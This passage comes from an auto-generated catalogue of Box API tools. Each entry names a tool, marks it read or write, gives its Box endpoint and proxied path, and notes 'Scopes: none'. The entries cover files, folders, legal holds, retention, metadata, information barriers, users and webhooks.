version legal holds id via GET /file_version_legal_holds/{file_version_legal_hold_id} GET /api/v1/box/file_version_legal_holds/{file_version_legal_hold_id}. Scopes: none. box_get_file_version_retentions (read) — Get file version retentions via GET /file_version_retentions GET /api/v1/box/file_version_retentions. Scopes: none. box_get_file_version_retentions_by_file_version_retention_id (read) — Get file version retentions id via GET /file_version_retentions/{file_version_retention_id} GET /api/v1/box/file_version_retentions/{file_version_retention_id}. Scopes: none. box_get_files_by_file_id (read) — Get files id via GET /files/{file_id} GET /api/v1/box/files/{file_id}. Scopes: none. box_get_files_by_file_id_app_item_associations (read) — Get files id app item associations via GET /files/{file_id}/app_item_associations GET /api/v1/box/files/{file_id}/app_item_associations. Scopes: none. box_get_files_by_file_id_collaborations (read) — Get files id collaborations via GET /files/{file_id}/collaborations GET /api/v1/box/files/{file_id}/collaborations. Scopes: none. box_get_files_by_file_id_comments (read) — Get files id comments via GET /files/{file_id}/comments GET /api/v1/box/files/{file_id}/comments. Scopes: none. box_get_files_by_file_id_get_shared_link (read) — Get files id get shared link via GET /files/{file_id}#get_shared_link GET /api/v1/box/files/{file_id}#get_shared_link. Scopes: none. box_get_files_by_file_id_metadata (read) — Get files id metadata via GET /files/{file_id}/metadata GET /api/v1/box/files/{file_id}/metadata. Scopes: none. box_get_files_by_file_id_metadata_by_scope_by_template_key (read) — Get files id metadata id id via GET /files/{file_id}/metadata/{scope}/{template_key} GET /api/v1/box/files/{file_id}/metadata/{scope}/{template_key}. Scopes: none. box_get_files_by_file_id_metadata_enterprise_securityclassification_6vmvochwuwo (read) — Get files id metadata enterprise security classification 6 vm vochw u wo via GET /files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo GET /api/v1/box/files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_get_files_by_file_id_metadata_global_boxskillscards (read) — Get files id metadata global box skills cards via GET /files/{file_id}/metadata/global/boxSkillsCards GET /api/v1/box/files/{file_id}/metadata/global/boxSkillsCards. Scopes: none. box_get_files_by_file_id_tasks (read) — Get files id tasks via GET /files/{file_id}/tasks GET /api/v1/box/files/{file_id}/tasks. Scopes: none. box_get_files_by_file_id_trash (read) — Get files id trash via GET /files/{file_id}/trash GET /api/v1/box/files/{file_id}/trash. Scopes: none. box_get_files_by_file_id_versions (read) — Get files id versions via GET /files/{file_id}/versions GET /api/v1/box/files/{file_id}/versions. Scopes: none. box_get_files_by_file_id_versions_by_file_version_id (read) — Get files id versions id via GET /files/{file_id}/versions/{file_version_id} GET /api/v1/box/files/{file_id}/versions/{file_version_id}. Scopes: none. box_get_files_by_file_id_watermark (read) — Get files id watermark via GET /files/{file_id}/watermark GET /api/v1/box/files/{file_id}/watermark. Scopes: none. box_get_files_upload_sessions_by_upload_session_id (read) — Get files upload sessions id via GET /files/upload_sessions/{upload_session_id} GET /api/v1/box/files/upload_sessions/{upload_session_id}. Scopes: none. box_get_files_upload_sessions_by_upload_session_id_parts (read) — Get files upload sessions id parts via GET /files/upload_sessions/{upload_session_id}/parts GET /api/v1/box/files/upload_sessions/{upload_session_id}/parts. Scopes: none. box_get_folder_locks (read) — Get folder locks via GET /folder_locks GET /api/v1/box/folder_locks. Scopes: none. box_get_folders_by_folder_id (read) — Get folders id via GET /folders/{folder_id} GET /api/v1/box/folders/{folder_id}. Scopes: none. box_get_folders_by_folder_id_app_item_associations (read) — Get folders id app item associations via GET /folders/{folder_id}/app_item_associations GET /api/v1/box/folders/{folder_id}/app_item_associations. Scopes: none. box_get_folders_by_folder_id_collaborations (read) — Get folders id collaborations via GET /folders/{folder_id}/collaborations GET /api/v1/box/folders/{folder_id}/collaborations. Scopes: none. box_get_folders_by_folder_id_get_shared_link (read) — Get folders id get shared link via GET /folders/{folder_id}#get_shared_link GET /api/v1/box/folders/{folder_id}#get_shared_link. Scopes: none. box_get_folders_by_folder_id_items (read) — Get folders id items via GET /folders/{folder_id}/items GET /api/v1/box/folders/{folder_id}/items. Scopes: none. box_get_folders_by_folder_id_metadata (read) — Get folders id metadata via GET /folders/{folder_id}/metadata GET /api/v1/box/folders/{folder_id}/metadata. Scopes: none. box_get_folders_by_folder_id_metadata_by_scope_by_template_key (read) — Get folders id metadata id id via GET /folders/{folder_id}/metadata/{scope}/{template_key} GET /api/v1/box/folders/{folder_id}/metadata/{scope}/{template_key}. Scopes: none. box_get_folders_by_folder_id_metadata_enterprise_securityclassification_6vmvochwuwo (read) — Get folders id metadata enterprise security classification 6 vm vochw u wo via GET /folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo GET /api/v1/box/folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_get_folders_by_folder_id_trash (read) — Get folders id trash via GET /folders/{folder_id}/trash GET /api/v1/box/folders/{folder_id}/trash. Scopes: none. box_get_folders_by_folder_id_watermark (read) — Get folders id watermark via GET /folders/{folder_id}/watermark GET /api/v1/box/folders/{folder_id}/watermark. Scopes: none. box_get_folders_trash_items (read) — Get folders trash items via GET /folders/trash/items GET /api/v1/box/folders/trash/items. Scopes: none. box_get_group_memberships_by_group_membership_id (read) — Get group memberships id via GET /group_memberships/{group_membership_id} GET /api/v1/box/group_memberships/{group_membership_id}. Scopes: none. box_get_groups (read) — Get groups via GET /groups GET /api/v1/box/groups. Scopes: none. box_get_groups_by_group_id (read) — Get groups id via GET /groups/{group_id} GET /api/v1/box/groups/{group_id}. Scopes: none. box_get_groups_by_group_id_collaborations (read) — Get groups id collaborations via GET /groups/{group_id}/collaborations GET /api/v1/box/groups/{group_id}/collaborations. Scopes: none. box_get_groups_by_group_id_memberships (read) — Get groups id memberships via GET /groups/{group_id}/memberships GET /api/v1/box/groups/{group_id}/memberships. Scopes: none. box_get_integration_mappings_slack (read) — Get integration mappings slack via GET /integration_mappings/slack GET /api/v1/box/integration_mappings/slack. Scopes: none. box_get_integration_mappings_teams (read) — Get integration mappings teams via GET /integration_mappings/teams GET /api/v1/box/integration_mappings/teams. Scopes: none. box_get_invites_by_invite_id (read) — Get invites id via GET /invites/{invite_id} GET /api/v1/box/invites/{invite_id}. Scopes: none. box_get_legal_hold_policies (read) — Get legal hold policies via GET /legal_hold_policies GET /api/v1/box/legal_hold_policies. Scopes: none. box_get_legal_hold_policies_by_legal_hold_policy_id (read) — Get legal hold policies id via GET /legal_hold_policies/{legal_hold_policy_id} GET /api/v1/box/legal_hold_policies/{legal_hold_policy_id}. Scopes: none. box_get_legal_hold_policy_assignments (read) — Get legal hold policy assignments via GET /legal_hold_policy_assignments GET /api/v1/box/legal_hold_policy_assignments. Scopes: none. box_get_legal_hold_policy_assignments_by_legal_hold_policy_assignment_id (read) — Get legal hold policy assignments id via GET /legal_hold_policy_assignments/{legal_hold_policy_assignment_id} GET /api/v1/box/legal_hold_policy_assignments/{legal_hold_policy_assignment_id}. Scopes: none. box_get_legal_hold_policy_assignments_by_legal_hold_policy_assignment_id_file_versions_on_hold (read) — Get legal hold policy assignments id file versions on hold via GET /legal_hold_policy_assignments/{legal_hold_policy_assignment_id}/file_versions_on_hold GET /api/v1/box/legal_hold_policy_assignments/{legal_hold_policy_assignment_id}/file_versions_on_hold. Scopes: none. box_get_legal_hold_policy_assignments_by_legal_hold_policy_assignment_id_files_on_hold (read) — Get legal hold policy assignments id files on hold via GET /legal_hold_policy_assignments/{legal_hold_policy_assignment_id}/files_on_hold GET /api/v1/box/legal_hold_policy_assignments/{legal_hold_policy_assignment_id}/files_on_hold. Scopes: none. box_get_metadata_cascade_policies (read) — Get metadata cascade policies via GET /metadata_cascade_policies GET /api/v1/box/metadata_cascade_policies. Scopes: none. box_get_metadata_cascade_policies_by_metadata_cascade_policy_id (read) — Get metadata cascade policies id via GET /metadata_cascade_policies/{metadata_cascade_policy_id} GET /api/v1/box/metadata_cascade_policies/{metadata_cascade_policy_id}. Scopes: none. box_get_metadata_taxonomies_by_namespace (read) — Get metadata taxonomies id via GET /metadata_taxonomies/{namespace} GET /api/v1/box/metadata_taxonomies/{namespace}. Scopes: none. box_get_metadata_taxonomies_by_namespace_by_taxonomy_key (read) — Get metadata taxonomies id id via GET /metadata_taxonomies/{namespace}/{taxonomy_key} GET /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}. Scopes: none. box_get_metadata_taxonomies_by_namespace_by_taxonomy_key_nodes (read) — Get metadata taxonomies id id nodes via GET /metadata_taxonomies/{namespace}/{taxonomy_key}/nodes GET /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/nodes. Scopes: none. box_get_metadata_taxonomies_by_namespace_by_taxonomy_key_nodes_by_node_id (read) — Get metadata taxonomies id id nodes id via GET /metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id} GET /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id}. Scopes: none. box_get_metadata_templates (read) — Get metadata templates via GET /metadata_templates GET /api/v1/box/metadata_templates. Scopes: none. box_get_metadata_templates_by_namespace_by_template_key_fields_by_field_key_options (read) — Get metadata templates id id fields id options via GET /metadata_templates/{namespace}/{template_key}/fields/{field_key}/options GET /api/v1/box/metadata_templates/{namespace}/{template_key}/fields/{field_key}/options. Scopes: none. box_get_metadata_templates_by_scope_by_template_key_schema (read) — Get metadata templates id id schema via GET /metadata_templates/{scope}/{template_key}/schema GET /api/v1/box/metadata_templates/{scope}/{template_key}/schema. Scopes: none. box_get_metadata_templates_by_template_id (read) — Get metadata templates id via GET /metadata_templates/{template_id} GET /api/v1/box/metadata_templates/{template_id}. Scopes: none. box_get_metadata_templates_enterprise (read) — Get metadata templates enterprise via GET /metadata_templates/enterprise GET /api/v1/box/metadata_templates/enterprise. Scopes: none. box_get_metadata_templates_enterprise_securityclassification_6vmvochwuwo_schema (read) — Get metadata templates enterprise security classification 6 vm vochw u wo schema via GET /metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema GET /api/v1/box/metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema. Scopes: none. box_get_metadata_templates_global (read) — Get metadata templates global via GET /metadata_templates/global GET /api/v1/box/metadata_templates/global. Scopes: none. box_get_recent_items (read) — Get recent items via GET /recent_items GET /api/v1/box/recent_items. Scopes: none. box_get_retention_policies (read) — Get retention policies via GET /retention_policies GET /api/v1/box/retention_policies. Scopes: none. box_get_retention_policies_by_retention_policy_id (read) — Get retention policies id via GET /retention_policies/{retention_policy_id} GET /api/v1/box/retention_policies/{retention_policy_id}. Scopes: none. box_get_retention_policies_by_retention_policy_id_assignments (read) — Get retention policies id assignments via GET /retention_policies/{retention_policy_id}/assignments GET /api/v1/box/retention_policies/{retention_policy_id}/assignments. Scopes: none. box_get_retention_policy_assignments_by_retention_policy_assignment_id (read) — Get retention policy assignments id via GET /retention_policy_assignments/{retention_policy_assignment_id} GET /api/v1/box/retention_policy_assignments/{retention_policy_assignment_id}. Scopes: none. box_get_retention_policy_assignments_by_retention_policy_assignment_id_file_versions_under_retention (read) — Get retention policy assignments id file versions under retention via GET /retention_policy_assignments/{retention_policy_assignment_id}/file_versions_under_retention GET /api/v1/box/retention_policy_assignments/{retention_policy_assignment_id}/file_versions_under_retention. Scopes: none. box_get_retention_policy_assignments_by_retention_policy_assignment_id_files_under_retention (read) — Get retention policy assignments id files under retention via GET /retention_policy_assignments/{retention_policy_assignment_id}/files_under_retention GET /api/v1/box/retention_policy_assignments/{retention_policy_assignment_id}/files_under_retention. Scopes: none. box_get_search (read) — Get search via GET /search GET /api/v1/box/search. Scopes: none. box_get_shared_items (read) — Get shared items via GET /shared_items GET /api/v1/box/shared_items. Scopes: none. box_get_shared_items_app_items (read) — Get shared items app items via GET /shared_items#app_items GET /api/v1/box/shared_items#app_items. Scopes: none. box_get_shared_items_folders (read) — Get shared items folders via GET /shared_items#folders GET /api/v1/box/shared_items#folders. Scopes: none. box_get_shared_items_web_links (read) — Get shared items web links via GET /shared_items#web_links GET /api/v1/box/shared_items#web_links. Scopes: none. box_get_shield_information_barrier_reports (read) — Get shield information barrier reports via GET /shield_information_barrier_reports GET /api/v1/box/shield_information_barrier_reports. Scopes: none. box_get_shield_information_barrier_reports_by_shield_information_barrier_report_id (read) — Get shield information barrier reports id via GET /shield_information_barrier_reports/{shield_information_barrier_report_id} GET /api/v1/box/shield_information_barrier_reports/{shield_information_barrier_report_id}. Scopes: none. box_get_shield_information_barrier_segment_members (read) — Get shield information barrier segment members via GET /shield_information_barrier_segment_members GET /api/v1/box/shield_information_barrier_segment_members. Scopes: none. box_get_shield_information_barrier_segment_members_by_shield_information_barrier_segment_member_id (read) — Get shield information barrier segment members id via GET /shield_information_barrier_segment_members/{shield_information_barrier_segment_member_id} GET /api/v1/box/shield_information_barrier_segment_members/{shield_information_barrier_segment_member_id}. Scopes: none. box_get_shield_information_barrier_segment_restrictions (read) — Get shield information barrier segment restrictions via GET /shield_information_barrier_segment_restrictions GET /api/v1/box/shield_information_barrier_segment_restrictions. Scopes: none. box_get_shield_information_barrier_segment_restrictions_by_shield_information_barrier_segment_restriction_id (read) — Get shield information barrier segment restrictions id via GET /shield_information_barrier_segment_restrictions/{shield_information_barrier_segment_restriction_id} GET /api/v1/box/shield_information_barrier_segment_restrictions/{shield_information_barrier_segment_restriction_id}. Scopes: none. box_get_shield_information_barrier_segments (read) — Get shield information barrier segments via GET /shield_information_barrier_segments GET /api/v1/box/shield_information_barrier_segments. Scopes: none. box_get_shield_information_barrier_segments_by_shield_information_barrier_segment_id (read) — Get shield information barrier segments id via GET /shield_information_barrier_segments/{shield_information_barrier_segment_id} GET /api/v1/box/shield_information_barrier_segments/{shield_information_barrier_segment_id}. Scopes: none. box_get_shield_information_barriers (read) — Get shield information barriers via GET /shield_information_barriers GET /api/v1/box/shield_information_barriers. Scopes: none. box_get_shield_information_barriers_by_shield_information_barrier_id (read) — Get shield information barriers id via GET /shield_information_barriers/{shield_information_barrier_id} GET /api/v1/box/shield_information_barriers/{shield_information_barrier_id}. Scopes: none. box_get_sign_requests (read) — Get sign requests via GET /sign_requests GET /api/v1/box/sign_requests. Scopes: none. box_get_sign_requests_by_sign_request_id (read) — Get sign requests id via GET /sign_requests/{sign_request_id} GET /api/v1/box/sign_requests/{sign_request_id}. Scopes: none. box_get_sign_templates (read) — Get sign templates via GET /sign_templates GET /api/v1/box/sign_templates. Scopes: none. box_get_sign_templates_by_template_id (read) — Get sign templates id via GET /sign_templates/{template_id} GET /api/v1/box/sign_templates/{template_id}. Scopes: none. box_get_storage_policies (read) — Get storage policies via GET /storage_policies GET /api/v1/box/storage_policies. Scopes: none. box_get_storage_policies_by_storage_policy_id (read) — Get storage policies id via GET /storage_policies/{storage_policy_id} GET /api/v1/box/storage_policies/{storage_policy_id}. Scopes: none. box_get_storage_policy_assignments (read) — Get storage policy assignments via GET /storage_policy_assignments GET /api/v1/box/storage_policy_assignments. Scopes: none. box_get_storage_policy_assignments_by_storage_policy_assignment_id (read) — Get storage policy assignments id via GET /storage_policy_assignments/{storage_policy_assignment_id} GET /api/v1/box/storage_policy_assignments/{storage_policy_assignment_id}. Scopes: none. box_get_task_assignments_by_task_assignment_id (read) — Get task assignments id via GET /task_assignments/{task_assignment_id} GET /api/v1/box/task_assignments/{task_assignment_id}. Scopes: none. box_get_tasks_by_task_id (read) — Get tasks id via GET /tasks/{task_id} GET /api/v1/box/tasks/{task_id}. Scopes: none. box_get_tasks_by_task_id_assignments (read) — Get tasks id assignments via GET /tasks/{task_id}/assignments GET /api/v1/box/tasks/{task_id}/assignments. Scopes: none. box_get_terms_of_service_user_statuses (read) — Get terms of service user statuses via GET /terms_of_service_user_statuses GET /api/v1/box/terms_of_service_user_statuses. Scopes: none. box_get_terms_of_services (read) — Get terms of services via GET /terms_of_services GET /api/v1/box/terms_of_services. Scopes: none. box_get_terms_of_services_by_terms_of_service_id (read) — Get terms of services id via GET /terms_of_services/{terms_of_service_id} GET /api/v1/box/terms_of_services/{terms_of_service_id}. Scopes: none. box_get_users (read) — Get users via GET /users GET /api/v1/box/users. Scopes: none. box_get_users_by_user_id (read) — Get users id via GET /users/{user_id} GET /api/v1/box/users/{user_id}. Scopes: none. box_get_users_by_user_id_email_aliases (read) — Get users id email aliases via GET /users/{user_id}/email_aliases GET /api/v1/box/users/{user_id}/email_aliases. Scopes: none. box_get_users_by_user_id_memberships (read) — Get users id memberships via GET /users/{user_id}/memberships GET /api/v1/box/users/{user_id}/memberships. Scopes: none. box_get_users_me (read) — Get users me via GET /users/me GET /api/v1/box/users/me. Scopes: none. box_get_web_links_by_web_link_id (read) — Get web links id via GET /web_links/{web_link_id} GET /api/v1/box/web_links/{web_link_id}. Scopes: none. box_get_web_links_by_web_link_id_get_shared_link (read) — Get web links id get shared link via GET /web_links/{web_link_id}#get_shared_link GET /api/v1/box/web_links/{web_link_id}#get_shared_link. Scopes: none. box_get_web_links_by_web_link_id_trash (read) — Get web links id trash via GET /web_links/{web_link_id}/trash GET /api/v1/box/web_links/{web_link_id}/trash. Scopes: none. box_get_webhooks (read) — Get webhooks via GET /webhooks GET /api/v1/box/webhooks. Scopes: none. box_get_webhooks_by_webhook_id (read) — Get webhooks id via GET /webhooks/{webhook_id} GET /api/v1/box/webhooks/{webhook_id}. Scopes: none. box_get_workflows (read) — Get workflows via GET /workflows GET /api/v1/box/workflows. Scopes: none. box_get_zip_downloads_by_zip_download_id_status (read) — Get zip downloads id status via GET /zip_downloads/{zip_download_id}/status GET /api/v1/box/zip_downloads/{zip_download_id}/status. Scopes: none. box_options_events (read) — Options events via OPTIONS /events OPTIONS /api/v1/box/events. Scopes: none. box_options_files_content (read) — Options files content via OPTIONS /files/content OPTIONS /api/v1/box/files/content. Scopes: none. box_patch_metadata_taxonomies_by_namespace_by_taxonomy_key (write) — Patch metadata taxonomies id id via PATCH /metadata_taxonomies/{namespace}/{taxonomy_key} PATCH /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}. Scopes: none. box_patch_metadata_taxonomies_by_namespace_by_taxonomy_key_levels_by_level_index (write) — Patch metadata taxonomies id id levels id via PATCH /metadata_taxonomies/{namespace}/{taxonomy_key}/levels/{level_index} PATCH /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/levels/{level_index}. Scopes: none. box_patch_metadata_taxonomies_by_namespace_by_taxonomy_key_nodes_by_node_id (write) — Patch metadata taxonomies id id nodes id via PATCH /metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id} PATCH /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/nodes/{node_id}. Scopes: none. box_post_ai_agents (write) — Post ai agents via POST /ai_agents POST /api/v1/box/ai_agents. Scopes: none. box_post_ai_ask (write) — Post ai ask via POST /ai/ask POST /api/v1/box/ai/ask. Scopes: none. box_post_ai_extract (write) — Post ai extract via POST /ai/extract POST /api/v1/box/ai/extract. Scopes: none. box_post_ai_extract_structured (write) — Post ai extract structured via POST /ai/extract_structured POST /api/v1/box/ai/extract_structured. Scopes: none. box_post_ai_text_gen (write) — Post ai text gen via POST /ai/text_gen POST /api/v1/box/ai/text_gen. Scopes: none. box_post_collaboration_whitelist_entries (write) — Post collaboration whitelist entries via POST /collaboration_whitelist_entries POST /api/v1/box/collaboration_whitelist_entries. Scopes: none. box_post_collaboration_whitelist_exempt_targets (write) — Post collaboration whitelist exempt targets via POST /collaboration_whitelist_exempt_targets POST /api/v1/box/collaboration_whitelist_exempt_targets. Scopes: none. box_post_collaborations (write) — Post collaborations via POST /collaborations POST /api/v1/box/collaborations. Scopes: none. box_post_comments (write) — Post comments via POST /comments POST /api/v1/box/comments. Scopes: none. box_post_file_requests_by_file_request_id_copy (write) — Post file requests id copy via POST /file_requests/{file_request_id}/copy POST /api/v1/box/file_requests/{file_request_id}/copy. Scopes: none. box_post_files_by_file_id (write) — Post files id via POST /files/{file_id} POST /api/v1/box/files/{file_id}. Scopes: none. box_post_files_by_file_id_copy (write) — Post files id copy via POST /files/{file_id}/copy POST /api/v1/box/files/{file_id}/copy. Scopes: none. box_post_files_by_file_id_metadata_by_scope_by_template_key (write) — Post files id metadata id id via POST /files/{file_id}/metadata/{scope}/{template_key} POST /api/v1/box/files/{file_id}/metadata/{scope}/{template_key}. Scopes: none. box_post_files_by_file_id_metadata_enterprise_securityclassification_6vmvochwuwo (write) — Post files id metadata enterprise security classification 6 vm vochw u wo via POST /files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo POST /api/v1/box/files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_post_files_by_file_id_metadata_global_boxskillscards (write) — Post files id metadata global box skills cards via POST /files/{file_id}/metadata/global/boxSkillsCards POST /api/v1/box/files/{file_id}/metadata/global/boxSkillsCards. Scopes: none. box_post_files_by_file_id_upload_sessions (write) — Post files id upload sessions via POST /files/{file_id}/upload_sessions POST /api/v1/box/files/{file_id}/upload_sessions. Scopes: none. box_post_files_by_file_id_versions_current (write) — Post files id versions current via POST /files/{file_id}/versions/current POST /api/v1/box/files/{file_id}/versions/current. Scopes: none. box_post_files_upload_sessions (write) — Post files upload sessions via POST /files/upload_sessions POST /api/v1/box/files/upload_sessions. Scopes: none. box_post_files_upload_sessions_by_upload_session_id_commit (write) — Post files upload sessions id commit via POST /files/upload_sessions/{upload_session_id}/commit POST /api/v1/box/files/upload_sessions/{upload_session_id}/commit. Scopes: none. box_post_folder_locks (write) — Post folder locks via POST /folder_locks POST /api/v1/box/folder_locks. Scopes: none. box_post_folders (write) — Post folders via POST /folders POST /api/v1/box/folders. Scopes: none. box_post_folders_by_folder_id (write) — Post folders id via POST /folders/{folder_id} POST /api/v1/box/folders/{folder_id}. Scopes: none. box_post_folders_by_folder_id_copy (write) — Post folders id copy via POST /folders/{folder_id}/copy POST /api/v1/box/folders/{folder_id}/copy. Scopes: none. box_post_folders_by_folder_id_metadata_by_scope_by_template_key (write) — Post folders id metadata id id via POST /folders/{folder_id}/metadata/{scope}/{template_key} POST /api/v1/box/folders/{folder_id}/metadata/{scope}/{template_key}. Scopes: none. box_post_folders_by_folder_id_metadata_enterprise_securityclassification_6vmvochwuwo (write) — Post folders id metadata enterprise security classification 6 vm vochw u wo via POST /folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo POST /api/v1/box/folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_post_group_memberships (write) — Post group memberships via POST /group_memberships POST /api/v1/box/group_memberships. Scopes: none. box_post_groups (write) — Post groups via POST /groups POST /api/v1/box/groups. Scopes: none. box_post_groups_terminate_sessions (write) — Post groups terminate sessions via POST /groups/terminate_sessions POST /api/v1/box/groups/terminate_sessions. Scopes: none. box_post_integration_mappings_slack (write) — Post integration mappings slack via POST /integration_mappings/slack POST /api/v1/box/integration_mappings/slack. Scopes: none. box_post_integration_mappings_teams (write) — Post integration mappings teams via POST /integration_mappings/teams POST /api/v1/box/integration_mappings/teams. Scopes: none. box_post_invites (write) — Post invites via POST /invites POST /api/v1/box/invites. Scopes: none. box_post_legal_hold_policies (write) — Post legal hold policies via POST /legal_hold_policies POST /api/v1/box/legal_hold_policies. Scopes: none. box_post_legal_hold_policy_assignments (write) — Post legal hold policy assignments via POST /legal_hold_policy_assignments POST /api/v1/box/legal_hold_policy_assignments. Scopes: none. box_post_metadata_cascade_policies (write) — Post metadata cascade policies via POST /metadata_cascade_policies POST /api/v1/box/metadata_cascade_policies. Scopes: none. box_post_metadata_cascade_policies_by_metadata_cascade_policy_id_apply (write) — Post metadata cascade policies id apply via POST /metadata_cascade_policies/{metadata_cascade_policy_id}/apply POST /api/v1/box/metadata_cascade_policies/{metadata_cascade_policy_id}/apply. Scopes: none. box_post_metadata_queries_execute_read (write) — Post metadata queries execute read via POST /metadata_queries/execute_read POST /api/v1/box/metadata_queries/execute_read. Scopes: none. box_post_metadata_taxonomies (write) — Post metadata taxonomies via POST /metadata_taxonomies POST /api/v1/box/metadata_taxonomies. Scopes: none. box_post_metadata_taxonomies_by_namespace_by_taxonomy_key_levels (write) — Post metadata taxonomies id id levels via POST /metadata_taxonomies/{namespace}/{taxonomy_key}/levels POST /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/levels. Scopes: none. box_post_metadata_taxonomies_by_namespace_by_taxonomy_key_levels_append (write) — Post metadata taxonomies id id levels append via POST /metadata_taxonomies/{namespace}/{taxonomy_key}/levels:append POST /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/levels:append. Scopes: none. box_post_metadata_taxonomies_by_namespace_by_taxonomy_key_levels_trim (write) — Post metadata taxonomies id id levels trim via POST /metadata_taxonomies/{namespace}/{taxonomy_key}/levels:trim POST /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/levels:trim. Scopes: none. box_post_metadata_taxonomies_by_namespace_by_taxonomy_key_nodes (write) — Post metadata taxonomies id id nodes via POST /metadata_taxonomies/{namespace}/{taxonomy_key}/nodes POST /api/v1/box/metadata_taxonomies/{namespace}/{taxonomy_key}/nodes. Scopes: none. box_post_metadata_templates_schema (write) — Post metadata templates schema via POST /metadata_templates/schema POST /api/v1/box/metadata_templates/schema. Scopes: none. box_post_metadata_templates_schema_classifications (write) — Post metadata templates schema classifications via POST /metadata_templates/schema#classifications POST /api/v1/box/metadata_templates/schema#classifications. Scopes: none. box_post_oauth2_revoke (write) — Post oauth2 revoke via POST /oauth2/revoke POST /api/v1/box/oauth2/revoke. Scopes: none. box_post_oauth2_token (write) — Post oauth2 token via POST /oauth2/token POST /api/v1/box/oauth2/token. Scopes: none. box_post_oauth2_token_refresh (write) — Post oauth2 token refresh via POST /oauth2/token#refresh POST /api/v1/box/oauth2/token#refresh. Scopes: none. box_post_retention_policies (write) — Post retention policies via POST /retention_policies POST /api/v1/box/retention_policies. Scopes: none. box_post_retention_policy_assignments (write) — Post retention policy assignments via POST /retention_policy_assignments POST /api/v1/box/retention_policy_assignments. Scopes: none. box_post_shield_information_barrier_reports (write) — Post shield information barrier reports via POST /shield_information_barrier_reports POST /api/v1/box/shield_information_barrier_reports. Scopes: none. box_post_shield_information_barrier_segment_members (write) — Post shield information barrier segment members via POST /shield_information_barrier_segment_members POST /api/v1/box/shield_information_barrier_segment_members. Scopes: none. box_post_shield_information_barrier_segment_restrictions (write) — Post shield information barrier segment restrictions via POST /shield_information_barrier_segment_restrictions POST /api/v1/box/shield_information_barrier_segment_restrictions. Scopes: none. box_post_shield_information_barrier_segments (write) — Post shield information barrier segments via POST /shield_information_barrier_segments POST /api/v1/box/shield_information_barrier_segments. Scopes: none. box_post_shield_information_barriers (write) — Post shield information barriers via POST /shield_information_barriers POST /api/v1/box/shield_information_barriers. Scopes: none. box_post_shield_information_barriers_change_status (write) — Post shield information barriers change status via POST /shield_information_barriers/change_status POST /api/v1/box/shield_information_barriers/change_status. Scopes: none. box_post_sign_requests (write) — Post sign requests via POST /sign_requests POST /api/v1/box/sign_requests. Scopes: none. box_post_sign_requests_by_sign_request_id_cancel (write) — Post sign requests id cancel via POST /sign_requests/{sign_request_id}/cancel POST /api/v1/box/sign_requests/{sign_request_id}/cancel. Scopes: none. box_post_sign_requests_by_sign_request_id_resend (write) — Post sign requests id resend via POST /sign_requests/{sign_request_id}/resend POST /api/v1/box/sign_requests/{sign_request_id}/resend. Scopes: none. box_post_storage_policy_assignments (write) — Post storage policy assignments via POST /storage_policy_assignments POST /api/v1/box/storage_policy_assignments. Scopes: none. box_post_task_assignments (write) — Post task assignments via POST /task_assignments POST /api/v1/box/task_assignments. Scopes: none. box_post_tasks (write) — Post tasks via POST /tasks POST /api/v1/box/tasks. Scopes: none. box_post_terms_of_service_user_statuses (write) — Post terms of service user statuses via POST /terms_of_service_user_statuses POST /api/v1/box/terms_of_service_user_statuses. Scopes: none. box_post_terms_of_services (write) — Post terms of services via POST /terms_of_services POST /api/v1/box/terms_of_services. Scopes: none. box_post_users (write) — Post users via POST /users POST /api/v1/box/users. Scopes: none. box_post_users_by_user_id_email_aliases (write) — Post users id email aliases via POST /users/{user_id}/email_aliases POST /api/v1/box/users/{user_id}/email_aliases. Scopes: none. box_post_users_terminate_sessions (write) — Post users terminate sessions via POST /users/terminate_sessions POST /api/v1/box/users/terminate_sessions. Scopes: none. box_post_web_links (write) — Post web links via POST /web_links POST /api/v1/box/web_links. Scopes: none. box_post_web_links_by_web_link_id (write) — Post web links id via POST /web_links/{web_link_id} POST /api/v1/box/web_links/{web_link_id}. Scopes: none. box_post_webhooks (write) — Post webhooks via POST /webhooks POST /api/v1/box/webhooks. Scopes: none. box_post_workflows_by_workflow_id_start (write) — Post workflows id start via POST /workflows/{workflow_id}/start POST /api/v1/box/workflows/{workflow_id}/start. Scopes: none. box_post_zip_downloads (write) — Post zip downloads via POST /zip_downloads POST /api/v1/box/zip_downloads. Scopes: none. box_put_ai_agents_by_agent_id (write) — Put ai agents id via PUT /ai_agents/{agent_id} PUT /api/v1/box/ai_agents/{agent_id}. Scopes: none. box_put_collaborations_by_collaboration_id (write) — Put collaborations id via PUT /collaborations/{collaboration_id} PUT /api/v1/box/collaborations/{collaboration_id}. Scopes: none. box_put_comments_by_comment_id (write) — Put comments id via PUT /comments/{comment_id} PUT /api/v1/box/comments/{comment_id}. Scopes: none. box_put_file_requests_by_file_request_id (write) — Put file requests id via PUT /file_requests/{file_request_id} PUT /api/v1/box/file_requests/{file_request_id}. Scopes: none. box_put_files_by_file_id (write) — Put files id via PUT /files/{file_id} PUT /api/v1/box/files/{file_id}. Scopes: none. box_put_files_by_file_id_add_shared_link (write) — Put files id add shared link via PUT /files/{file_id}#add_shared_link PUT /api/v1/box/files/{file_id}#add_shared_link. Scopes: none. box_put_files_by_file_id_metadata_by_scope_by_template_key (write) — Put files id metadata id id via PUT /files/{file_id}/metadata/{scope}/{template_key} PUT 